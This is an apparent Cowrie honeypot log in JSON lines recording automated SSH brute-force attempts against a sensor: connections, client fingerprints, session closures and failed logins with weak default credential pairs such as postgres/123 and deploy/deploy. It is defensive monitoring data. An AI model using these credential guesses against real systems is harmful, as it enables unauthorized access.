{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:01.958087Z","src_ip":"211.253.37.225","session":"489b78b8a80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39654,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4ddc991e26f","protocol":"ssh","message":"New connection: 141.11.88.14:39654 (10.17.0.5:22) [session: c4ddc991e26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:02.199887Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:02.205100Z","src_ip":"211.253.37.225","session":"489b78b8a80b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:02.769018Z","src_ip":"141.11.88.14","session":"c4ddc991e26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:02.782811Z","src_ip":"141.11.88.14","session":"c4ddc991e26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:03.110507Z","src_ip":"41.86.34.139","session":"bf5995e3e1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tcs","password":"tcs123","message":"login attempt [tcs/tcs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:03.188814Z","src_ip":"211.253.37.225","session":"489b78b8a80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:04.231637Z","src_ip":"141.11.88.14","session":"c4ddc991e26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:04.413235Z","src_ip":"211.253.37.225","session":"489b78b8a80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:05.416509Z","src_ip":"141.11.88.14","session":"c4ddc991e26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22388,"dst_ip":"10.17.0.5","dst_port":22,"session":"30aa5f93d873","protocol":"ssh","message":"New connection: 141.11.88.14:22388 (10.17.0.5:22) [session: 30aa5f93d873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:07.711112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:07.985525Z","src_ip":"141.11.88.14","session":"30aa5f93d873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:07.989541Z","src_ip":"141.11.88.14","session":"30aa5f93d873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60722,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcd8b50cb9b","protocol":"ssh","message":"New connection: 160.191.244.158:60722 (159.203.135.109:22) [session: 1fcd8b50cb9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:08.546519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:08.551258Z","src_ip":"160.191.244.158","session":"1fcd8b50cb9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:08.791060Z","src_ip":"160.191.244.158","session":"1fcd8b50cb9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sim","password":"sim123","message":"login attempt [sim/sim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:09.758791Z","src_ip":"160.191.244.158","session":"1fcd8b50cb9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:09.768005Z","src_ip":"141.11.88.14","session":"30aa5f93d873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:10.851984Z","src_ip":"141.11.88.14","session":"30aa5f93d873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:11.003751Z","src_ip":"160.191.244.158","session":"1fcd8b50cb9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22504,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7e49c542e41","protocol":"ssh","message":"New connection: 141.11.88.14:22504 (10.17.0.5:22) [session: d7e49c542e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:14.907813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:14.942935Z","src_ip":"141.11.88.14","session":"d7e49c542e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:15.013119Z","src_ip":"141.11.88.14","session":"d7e49c542e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"min","password":"admin","message":"login attempt [min/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:15.346372Z","src_ip":"141.11.88.14","session":"d7e49c542e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:16.438445Z","src_ip":"141.11.88.14","session":"d7e49c542e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45728,"dst_ip":"10.17.0.5","dst_port":22,"session":"78208c63f8ca","protocol":"ssh","message":"New connection: 141.11.88.14:45728 (10.17.0.5:22) [session: 78208c63f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:21.022876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:21.154750Z","src_ip":"141.11.88.14","session":"78208c63f8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:21.158166Z","src_ip":"141.11.88.14","session":"78208c63f8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:22.481446Z","src_ip":"141.11.88.14","session":"78208c63f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:23.580638Z","src_ip":"141.11.88.14","session":"78208c63f8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10264,"dst_ip":"10.17.0.5","dst_port":22,"session":"8558533bbf35","protocol":"ssh","message":"New connection: 141.11.88.14:10264 (10.17.0.5:22) [session: 8558533bbf35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:29.212793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:29.230588Z","src_ip":"141.11.88.14","session":"8558533bbf35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:29.297229Z","src_ip":"141.11.88.14","session":"8558533bbf35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:29.790185Z","src_ip":"141.11.88.14","session":"8558533bbf35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:30.935231Z","src_ip":"141.11.88.14","session":"8558533bbf35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05910539627075,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:31.819721Z","src_ip":"172.81.62.90","session":"2753886bdb05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":46266,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c37e3ec5bb5","protocol":"ssh","message":"New connection: 103.143.231.24:46266 (10.17.0.5:22) [session: 5c37e3ec5bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:33.350511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:33.354985Z","src_ip":"103.143.231.24","session":"5c37e3ec5bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:33.425126Z","src_ip":"103.143.231.24","session":"5c37e3ec5bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:33.739121Z","src_ip":"103.143.231.24","session":"5c37e3ec5bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:34.813638Z","src_ip":"103.143.231.24","session":"5c37e3ec5bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10328,"dst_ip":"10.17.0.5","dst_port":22,"session":"6be3a4e10408","protocol":"ssh","message":"New connection: 141.11.88.14:10328 (10.17.0.5:22) [session: 6be3a4e10408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:36.177527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:36.256587Z","src_ip":"141.11.88.14","session":"6be3a4e10408","protocol":"ssh"}
